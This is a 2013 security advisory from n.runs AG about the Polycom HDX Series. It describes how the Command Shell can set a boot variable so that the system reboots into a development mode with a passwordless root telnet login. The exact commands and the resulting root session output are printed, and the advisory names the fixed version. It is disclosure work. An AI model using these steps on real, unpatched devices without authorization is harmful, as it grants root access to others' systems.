n.runs-SA-2013.001 - Polycom - Command Shell Grants System-Level Access

n.runs AG
http://www.nruns.com/
security(at)nruns.com
n.runs-SA-2013.001                                              15-Mar-2013
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Vendor:         Polycom, http://www.polycom.com
Affected Products:      Polycom HDX Series
Affected Version:       < 3.1.1.2
Vulnerability:          Polycom Command Shell Grants System-Level Access
Risk:                   LOW
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Overview:

The Polycom Command Shell is a command-line based administrative interface
to the Polycom HDX system. It can be accessed either via a RS-232 serial
connection or via telnet on port 23.

Description:

The Polycom Command Shell can be used to view and also change several
settings of the system. However it can also be used to get system-level
access (i.e. root access) to the HDX system. The "printenv" and "setenv"
commands can be used to read and write variables respectively which are
stored in flash memory.

The easiest way to get root access to the HDX system is to enable the
"development mode" of the system which will then enable a telnet server
where a root login without a password is possible. In order to enable
the development mode, the "devboot" U-Boot environment variable must
be set. This can be done through the Polycom Command Shell with the
following commands:

    $ cu -l ttyUSB0 -s 9600
    -> setenv othbootargs "devboot=bogus"
    -> reboot
    reboot, are you sure? <y,n> y

This will reboot the system and enable a telnet server where a login as
root is possible.

    $ telnet 192.168.0.218
    Trying 192.168.0.218...
    Connected to 192.168.0.218.
    Escape character is '^]'.

    hdx7000.lan login: root
    ## Error: "vidoutsize" not defined
    # id
    uid=0(root) gid=0(root)
    # uname -a
    Linux hdx7000.lan 2.6.18.1.p2.14 #1 PREEMPT Wed Feb 3 10:25:31 CST 2010
ppc unknown
    #

Impact:

Someone with legitimate access to the Polycom Command Shell can get
direct system-level access to the underlying embedded Linux system.
This can be used to further analyze the system.

Solution:

Polycom released version 3.1.1.2 of the HDX software which fixes this
issue. It can be downloaded from the Polycom Support page at
http://support.polycom.com.
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Credit:
Bug found by Moritz Jodeit of n.runs AG.
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